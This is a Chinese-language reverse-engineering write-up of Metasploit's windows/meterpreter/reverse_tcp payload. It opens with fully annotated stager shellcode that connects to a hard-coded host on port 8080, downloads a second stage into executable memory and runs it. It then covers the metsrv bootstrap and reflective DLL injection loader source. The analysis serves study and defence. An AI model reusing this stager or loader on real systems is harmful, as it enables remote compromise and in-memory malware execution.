2c: 52 push edx ; 保存当前_LDR_DATA_TABLE_ENTRY地址+0x8
2d: 57 push edi ; 保存模块hash值

2e: 8b 52 10 mov edx,DWORD PTR [edx+0x10] ; edx = _LDR_DATA_TABLE_ENTRY->DllBase (PE加载基址)
31: 8b 4a 3c mov ecx,DWORD PTR [edx+0x3c] ; ecx = IMAGE_NT_HEADERS 相对偏移
34: 8b 4c 11 78 mov ecx,DWORD PTR [ecx+edx*1+0x78]; dt -b ntdll!_IMAGE_NT_HEADERS ecx+edx
; 偏移0x78的位置为 DataDirectory[0] =IMAGE_EXPORT_DIRECTORY相对偏移
38: e3 48 jecxz 0x82 ; jump if ecx == 0 , ecx == 0表示没有导出表,则edx指向下一个_LDR_DATA_TABLE_ENTRY
3a: 01 d1 add ecx,edx ; ecx = IMAGE_EXPORT_DIRECTORY绝对地址
3c: 51 push ecx ; 保存IMAGE_EXPORT_DIRECTORY的绝对地址
3d: 8b 59 20 mov ebx,DWORD PTR [ecx+0x20] ; WinDbg里并没有IMAGE_EXPORT_DIRECTORY的定义, msdn和网上都可以找到结构体定义
; https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-directory-table
; https://www.pinvoke.net/default.aspx/Structures.IMAGE_EXPORT_DIRECTORY
; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNames(address of funcion name string array) 相当于模块加载基址的偏移
40: 01 d3 add ebx,edx ; ebx = address of function name string array 的绝对地址
42: 8b 49 18 mov ecx,DWORD PTR [ecx+0x18] ; ecx = IMAGE_EXPORT_DIRECTORY->NumberOfNames 导出表中函数的个数
45: e3 3a jecxz 0x81 ; 遍历完function name之后切换到下一个模块
47: 49 dec ecx ; 从后往前遍历
48: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4] ; 某个函数名称的地址相对于模块基址的偏移
4b: 01 d6 add esi,edx ; esi = 导出函数名称的绝对地址
4d: 31 ff xor edi,edi ; edi = 0
4f: ac lods al,BYTE PTR ds:[esi] ; 将函数名的第一个字节取出放入al, esi + 1
50: c1 cf 0d ror edi,0xd ; edi = edi >> 13
53: 01 c7 add edi,eax ; edi = edi + eax
55: 38 e0 cmp al,ah ; if al != 0
57: 75 f6 jne 0x4f ; jmp 0x4f
; edi = 函数名hash
59: 03 7d f8 add edi,DWORD PTR [ebp-0x8] ; edi = 函数名hash + 当前模块hash
5c: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24] ; 与call 0x6时push的hash是否相同
5f: 75 e4 jne 0x45 ; 如果不同,继续遍历导出函数名称并计算Hash
61: 58 pop eax ; eax = IMAGE_EXPORT_DIRECTORY绝对地址
62: 8b 58 24 mov ebx,DWORD PTR [eax+0x24] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 相对地址
65: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 绝对地址
67: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2] ; export-ordinal-table 一个编号占两个字节 https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-ordinal-table
; cx = 要寻找的函数编号
6b: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 相对地址
6e: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 绝对地址
70: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4] ; eax = 要寻找的函数的相对地址
73: 01 d0 add eax,edx ; eax = 要寻找的函数的绝对地址
75: 89 44 24 24 mov DWORD PTR [esp+0x24],eax ; 修改掉pushad压到栈里的eax值,在popad的时候就可以直接令eax=要寻找的函数的绝对地址
79: 5b pop ebx ; 恢复栈平衡
7a: 5b pop ebx ; 恢复栈平衡
7b: 61 popa ; 恢复寄存器状态
; eax = 要寻找的函数的绝对地址

7c: 59 pop ecx ; pop ret addr
7d: 5a pop edx ; pop hash
7e: 51 push ecx ; push ret addr
7f: ff e0 jmp eax ; call api 调用函数
81: 5f pop edi
82: 5f pop edi ; 如果没有导出表
83: 5a pop edx
84: 8b 12 mov edx,DWORD PTR [edx] ; 获得下一个模块地址
86: eb 8d jmp 0x15
; ------------------------------------------------------------------------------

reverse_tcp:
; --------------------- LoadLibraryA() -----------------------------------------
88: 5d pop ebp ; ebp = shellcode + 0x6, get shellcode's address
89: 68 33 32 00 00 push 0x3233
8e: 68 77 73 32 5f push 0x5f327377 ; ASCII "ws2_32"
93: 54 push esp ; push LoadLibraryA的第一个参数
94: 68 4c 77 26 07 push 0x726774c ; hash kernel32.dll!LoadLibraryA
99: 89 e8 mov eax,ebp
9b: ff d0 call eax ; call shellcode + 0x6


; --------------------- WSAStartup(0x0190, &WSAData) ---------------------------
; int WSAStartup(
; __in WORD wVersionRequested,
; __out LPWSADATA lpWSAData
; );
; ------------------------------------------------------------------------------



9d: b8 90 01 00 00 mov eax,0x190 ; EAX = sizeof( struct WSAData )
a2: 29 c4 sub esp,eax ; 开辟栈空间
a4: 54 push esp ; lpWSAData
a5: 50 push eax ; wVersionRequired
; Winsock DLL会检查wVersionRequested参数中传递的应用程序所请求的Windows套接字规范的版本
; 如果应用程序请求的版本等于或高于Winsock DLL支持的最低版本,则调用成功,
a6: 68 29 80 6b 00 push 0x6b8029 ; ws2_32.dll!WSAStartup
ab: ff d5 call ebp ; call shellcode + 0x6

; ------------ WSASocketA(AF_INET 0x2, SOCK_STREAM 0x1, 0, 0, 0, 0) ------------

; SOCKET WSAAPI WSASocketA(
; int af,
; int type,
; int protocol,
; LPWSAPROTOCOL_INFOA lpProtocolInfo,
; GROUP g,
; DWORD dwFlags
; );
; ------------------------------------------------------------------------------


ad: 6a 0a push 0xa ; 重试次数
af: 68 2f 5f 73 01 push 0x1735f2f ; host in little-endian format
b4: 68 02 00 11 5c push 0x901f0002 ; family AF_INET and port number 8080
b9: 89 e6 mov esi,esp ; save pointer to sockaddr struct
bb: 50 push eax ; push 0 如果WSAStartup成功,eax=0
bc: 50 push eax ; push 0
bd: 50 push eax ; push 0
be: 50 push eax ; push 0
bf: 40 inc eax
c0: 50 push eax ; push SOCK_STREAM 0x1
c1: 40 inc eax
c2: 50 push eax ; push AF_INET 0x2
c3: 68 ea 0f df e0 push 0xe0df0fea ; ws2_32.dll!WSASocketA
c8: ff d5 call ebp ; call shellcode + 0x6
ca: 97 xchg edi,eax ; edi <=> eax

; --------------------- connect() ---------------------------------------------
; int WSAAPI connect(
; SOCKET s,
; const sockaddr *name,
; int namelen
; );
; -----------------------------------------------------------------------------

cb: 6a 10 push 0x10 ; sizeof SOCKADDR_IN
cd: 56 push esi ; SOCKADDR_IN
ce: 57 push edi ; SOCKET 0x2
cf: 68 99 a5 74 61 push 0x6174a599 ; ws2_32.dll!connect
d4: ff d5 call ebp ; call shellcode + 0x6

; --------------------- recv() -------------------------------------------------
; int recv(
; SOCKET s,
; char *buf,
; int len,
; int flags
; );
; ------------------------------------------------------------------------------

d6: 85 c0 test eax,eax
d8: 74 0a je 0xe4 ; if connect return 0, call recv
da: ff 4e 08 dec DWORD PTR [esi+0x8]
dd: 75 ec jne 0xcb ; goto connect() 重新尝试连接服务端
df: e8 67 00 00 00 call 0x14b ; call ExitProcess
e4: 6a 00 push 0x0 ; recv flags = 0
e6: 6a 04 push 0x4 ; recvBufferLen
e8: 56 push esi ; recvBuffer
e9: 57 push edi ; SOCKET
ea: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv
ef: ff d5 call ebp ; call shellcode + 0x6

; --------------------- VirtualAlloc() -----------------------------------------
; LPVOID WINAPI VirtualAlloc(
; _In_opt_ LPVOID lpAddress,
; _In_ SIZE_T dwSize,
; _In_ DWORD flAllocationType,
; _In_ DWORD flProtect
; );
; ------------------------------------------------------------------------------

f1: 83 f8 00 cmp eax,0x0
f4: 7e 36 jle 0x12c ; if recv 返回值小于等于0 , goto closesocket
f6: 8b 36 mov esi,DWORD PTR [esi]
f8: 6a 40 push 0x40 ; flProtect = PAGE_EXECUTE_READWRITE
fa: 68 00 10 00 00 push 0x1000 ; flAllocationType = MEM_COMMIT
ff: 56 push esi ; dwSize
100: 6a 00 push 0x0 ; lpAddress 如果此参数为 NULL,则系统确定分配区域的位置。
102: 68 58 a4 53 e5 push 0xe553a458 ; kernel32.dll!VirtualAlloc
107: ff d5 call ebp ; call shellcode + 0x6

; --------------------- recv() -------------------------------------------------
; int recv(
; SOCKET s,
; char *buf,
; int len,
; int flags
; );
; ------------------------------------------------------------------------------
109: 93 xchg ebx,eax ; ebx = VirtualAlloc's ret value
10a: 53 push ebx
10b: 6a 00 push 0x0 ; flags
10d: 56 push esi ; buf len
10e: 53 push ebx ; buf
10f: 57 push edi ; SOCKET
110: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv
115: ff d5 call ebp ; call shellcode + 0x6

; --------------------- VirtualFree() ------------------------------------------
; BOOL WINAPI VirtualFree(
; _In_ LPVOID lpAddress,
; _In_ SIZE_T dwSize,
; _In_ DWORD dwFreeType
; );
; ------------------------------------------------------------------------------

117: 83 f8 00 cmp eax,0x0
11a: 7d 28 jge 0x144
11c: 58 pop eax ; eax = VirtualAlloc's ret value
11d: 68 00 40 00 00 push 0x4000 ; MEM_DECOMMIT
122: 6a 00 push 0x0 ; Free由VirtualAlloc申请的内存空间
124: 50 push eax ; lpAddress = VirtualAlloc's ret value
125: 68 0b 2f 0f 30 push 0x300f2f0b ; hash kernel32.dll!VirtualFree
12a: ff d5 call ebp ; call shellcode + 0x6

; --------------------- closesocket() ------------------------------------------
; int closesocket(
; IN SOCKET s
; );
; ------------------------------------------------------------------------------
12c: 57 push edi
12d: 68 75 6e 4d 61 push 0x614d6e75 ; hash ws2_32.dll!closesocket
132: ff d5 call ebp ; call shellcode + 0x6
134: 5e pop esi
135: 5e pop esi
136: ff 0c 24 dec DWORD PTR [esp]
139: 0f 85 70 ff ff ff jne 0xaf
13f: e9 9b ff ff ff jmp 0xdf ; ExitProcess

; ----------------------- exec shellcode ---------------------------------------
144: 01 c3 add ebx,eax
146: 29 c6 sub esi,eax
148: 75 c1 jne 0x10b
14a: c3 ret ; exec stage shellcode

; --------------------- ExitProcess() -----------------------------------------
14b: bb f0 b5 a2 56 mov ebx,0x56a2b5f0 ; hash kernel32.dll!ExitProcess
150: 6a 00 push 0x0
152: 53 push ebx
153: ff d5 call ebp ; call shellcode + 0x6

0x02 shellcode2 (meterpreter stage shellcode)

带注释的完整shellcode可以参考:https://gist.github.com/Dliv3/e9f0200c00202cc4a645e58d198e4b6c

1. 入口代码(bootstrap asm)分析

我们在上一阶段shellcode执行ret指令切换到本阶段shellcode时下断点

1
2
3
//  14a: c3 ret ; exec stage shellcode
bp 0x00403162
t // step into

我们首先看一下上一阶段shellcode接收到的数据是什么

1
2
3
4
5
6
7
8
9
0:000> dc eip
00410000 00e85a4d 5b000000 89554552 64c381e5 MZ.....[REU....d
00410010 ff000013 95c381d3 890002a6 046a533b ............;Sj.
00410020 00d0ff50 00000000 00000000 00000000 P...............
00410030 00000000 00000000 00000000 00000100 ................
00410040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th
00410050 70207369 72676f72 63206d61 6f6e6e61 is program canno
00410060 65622074 6e757220 206e6920 20534f44 t be run in DOS
00410070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......

看起来像是一个PE文件,也确实是一个PE文件
本次调试的shellcode是windows/meterpreter/reverse_tcp,是x86的shellcode,这段数据是从服务端下载的metepreter的metsrv.x86.dll文件
路径为./metasploit-framework/embedded/lib/ruby/gems/2.4.0/gems/metasploit-payloads-1.3.58/data/meterpreter/metsrv.x86.dll
该目录下存放了已经编译好的meterpreter扩展

但是这段数据对该dll的IMAGE_DOS_HEADER做了修改, 微软考虑PE对DOS文件的兼容性,在PE头最前面添加了IMAGE_DOS_HEADER结构体,用来扩展已有的DOS头。
这个DOS的内容被修改之后不会影响PE文件的运行,所以这里metasploit将DOS头部分用作bootstrap(初始引导)代码

bootstrap代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00410000 4d              dec     ebp                    ; M
00410001 5a pop edx ; Z
00410002 e800000000 call 00410007
00410007 5b pop ebx ; ebx = PE机制+0x7
00410008 52 push edx ; 恢复栈内存
00410009 45 inc ebp ; 恢复ebp
0041000a 55 push ebp
0041000b 89e5 mov ebp,esp ; 开辟栈空间
0041000d 81c364130000 add ebx,1364h ; ebx = ReflectiveLoader()的绝对地址
00410013 ffd3 call ebx ; call ReflectiveLoader, 返回地址为DllEntryPoint函数地址
00410015 81c395a60200 add ebx,2A695h ; ebx = 将.data段的某个地方作为_MetsrvConfig配置的存储位置
0041001b 893b mov dword ptr [ebx],edi ; _MetsrvConfig->session->comms_handle = edi, edi为stager中传递过来的SOCKET
0041001d 53 push ebx ; _MetsrvConfig的地址
0041001e 6a04 push 4 ; fdwReason = DLL_METASPLOIT_ATTACH
00410020 50 push eax ; hinstDLL
00410021 ffd0 call eax ; call DllEntryPoint

MZ为PE的magic string,正好可以作为两条合法的指令dec ebp和pop edx,这两条指令在这里没有什么实际的作用,只是为了保持PE结构

metsrv dll的加载使用了reflective dll injection技术,与正常的内存加载dll不同的是,加载dll的代码逻辑被内嵌到了被加载的dll本身,也就是dll的ReflectiveLoader函数

bootstrap代码实现了以下几个功能

  1. 调用metsrv dll中的ReflectiveLoader函数,实现dll的内存加载
  2. 在dll加载到内存后,调用DllEntryPoint函数执行dll中的主函数
  3. 将上一阶段stager创建的SOCKET传递给本阶段shellcode,SOCKET被封装成_MetsrvConfig结构体,作为第三个参数传递给DllEntryPoint

_MetsrvConfig的定义可以参考 https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/config.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1];
} MetsrvConfig;

2. reflective dll injection

boostrap调用了一个比较重要的函数就是ReflectiveLoader,通过该函数实现内存加载metsrv dll

源码可以参考 https://github.com/rapid7/ReflectiveDLLInjection/ 这是msf使用的修改之后的ReflectiveDLLInjection

ReflectiveDLLInjection的流程如下

  • 从调用者获取call指令的下一条地址,根据该地址寻找PE加载基址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
       // STEP 0: calculate our images current base address

    // 获取call指令下一条指令的地址
    // we will start searching backwards from our callers return address.
    uiLibraryAddress = caller();

    // 以MZ为标志位循环向前查找PE加载基址
    // loop through memory backwards searching for our images base address
    // we dont need SEH style search as we shouldnt generate any access violations with this
    while( TRUE )
    {
    if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
    {
    uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
    // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
    if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
    {
    uiHeaderValue += uiLibraryAddress;
    // break if we have found a valid MZ/PE header
    if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
    break;
    }
    }
    uiLibraryAddress--;
    }
  • 通过PEB查找内存加载DLL时所需的函数地址,如LoadLibraryA、GetProcAddress、VirtualAlloc。这部分代码和之前第一阶段stager shellcode实现原理一样。

  • 将PE按内存对齐方式加载到内存

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
            // STEP 2: load our image into a new permanent location in memory...

    // NT Header的地址
    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    // 申请内存,大小为PE在虚拟内存中占用的空间大小OptionalHeader.SizeofImage, 内存属性RWX
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    #ifdef ENABLE_STOPPAGING
    // prevent our image from being swapped to the pagefile
    // 将页面锁定在物理内存中,这样内存页将不会被交换到硬盘上,提高了访问的效率
    pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
    #endif

    // we must now copy over the headers
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;

    // 拷贝整个PE头,大小为OptionalHeader.SizeOfHeaders
    while( uiValueA-- )
    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

    // STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

    // 将各个节区加载到内存
    // itterate through all sections, loading them into memory.
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
    // uiValueB is the VA for this section
    uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

    // uiValueC if the VA for this sections data
    uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

    // copy the section over
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

    while( uiValueD-- )
    *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

    // get the VA of the next section
    uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }
  • 构建IAT,因为是模拟PE加载过程,所以需要自己填写IAT表

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    // STEP 4: process our images import table...
    // 定位IAT IMAGE_OPTIONAL_HEADER->DataDirectory[1] = IMPORT Directory
    // uiValueB = the address of the import directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

    // 计算IAT VA
    // we assume there is an import table to process
    // uiValueC is the first entry in the import table
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

    // iterate through all imports until a null RVA is found (Characteristics is mis-named)
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
    {
    OUTPUTDBG("Loading library: ");
    OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
    OUTPUTDBG("\n");

    // 加载DLL
    // use LoadLibraryA to load the imported module into memory
    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

    if ( !uiLibraryAddress )
    {
    OUTPUTDBG("Loading library FAILED\n");

    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    continue;
    }

    // uiValueD = VA of the OriginalFirstThunk
    uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

    // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
    uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

    // itterate through all imported functions, importing by ordinal if no name present
    while( DEREF(uiValueA) )
    {
    // sanity check uiValueD as some compilers only import by FirstThunk
    // 通过DLL导出表获取函数地址
    if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
    {
    // get the VA of the modules NT Header
    uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // uiNameArray = the address of the modules export directory entry
    uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

    // get the VA of the export directory
    uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

    // get the VA for the array of addresses
    uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

    // use the import ordinal (- export ordinal base) as an index into the array of addresses
    uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

    // patch in the address for this imported function
    DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
    }
    else
    {
    // 通过GetProcAddress获取函数地址
    // get the VA of this functions import by name struct
    uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

    OUTPUTDBG("Resolving function: ");
    OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
    OUTPUTDBG("\n");

    // use GetProcAddress and patch in the address for this imported function
    DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
    }
    // get the next imported function
    uiValueA += sizeof( ULONG_PTR );
    if( uiValueD )
    uiValueD += sizeof( ULONG_PTR );
    }

    // get the next import
    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }
  • 通过PE基址重定位表修复重定位信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    // STEP 5: process all of our images relocations...

    // calculate the base address delta and perform relocations (even if we load at desired image base)
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // 基址重定位表
    // uiValueB = the address of the relocation directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // check if their are any relocations present
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;

    // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

    // and we itterate through all entries...
    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
    // uiValueA = the VA for this relocation block
    uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

    // uiValueB = number of entries in this relocation block
    uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

    // uiValueD is now the first entry in the current relocation block
    uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

    // we itterate through all the entries in the current block...
    while( uiValueB-- )
    {
    // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
    // we dont use a switch statement to avoid the compiler building a jump table
    // which would not be very position independent!
    // 对需要重定位的数据进行重定位操作
    if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
    else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

    // get the next entry in the current relocation block
    uiValueD += sizeof( IMAGE_RELOC );
    }

    uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    // get the next entry in the relocation directory
    uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
    }
  • 调用DllEntryPoint,第三个参数为bootstrap代码构造好的MetsrvConfig结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // STEP 6: call our images entry point
    // DLL的entry point
    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

    OUTPUTDBG("Flushing the instruction cache");
    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

    // 从DLL入口点开始执行metsrv逻辑
    // call our respective entry point, fudging our hInstance value
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// metsrv dll的Init函数的实现在
// https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/server/metsrv.c
extern DWORD DLLEXPORT Init( SOCKET socket );

// 虽然接收的看起来是一个SOCKET,但其实是用作MetsrvConfig
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;

switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
......
}
return bReturnValue;
}

可以看到接收的SOCKET参数其实是MetsrvConfig结构体
https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/server/metsrv.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DWORD __declspec(dllexport) Init(SOCKET fd)
{
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
// 传递过来的SOCKET类型,其实存放的是MetsrvConfig结构体的地址
MetsrvConfig* metConfig = (MetsrvConfig*)fd;
dprintf("[METSRV] Getting ready to init with config %p", metConfig);
DWORD result = server_setup(metConfig);

dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);

// We also handle exit func directly in metsrv now because the value is added to the
// configuration block and we manage to save bytes in the stager/header as well.
switch (metConfig->session.exit_func)
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter(NULL);
break;
case EXITFUNC_THREAD:
ExitThread(0);
break;
case EXITFUNC_PROCESS:
ExitProcess(0);
break;
default:
break;
}
return result;
}

同时我们可以在代码中看到meterpreter的多种退出方式,这和我们在生成stager时可用的退出选项吻合

  • metsrv同样使用Reflective Dll Injection加载stdapi.dll和priv.dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*!
* @brief Load any stageless extensions that might be present in the current payload.
* @param remote Pointer to the remote instance.
* @param fd The socket descriptor passed to metsrv during intialisation.
*/
VOID load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
{
while (stagelessExtensions->size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
// 通过Reflective Dll Injection加载stdapi dll & priv dll
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}

dprintf("[SERVER] All stageless extensions loaded");
......
}

总结一下:
MSF在向受害者发送metsrv dll之后,接着发送了两个dll: stdapi和priv,之后meterpreter就开始接收用户的命令

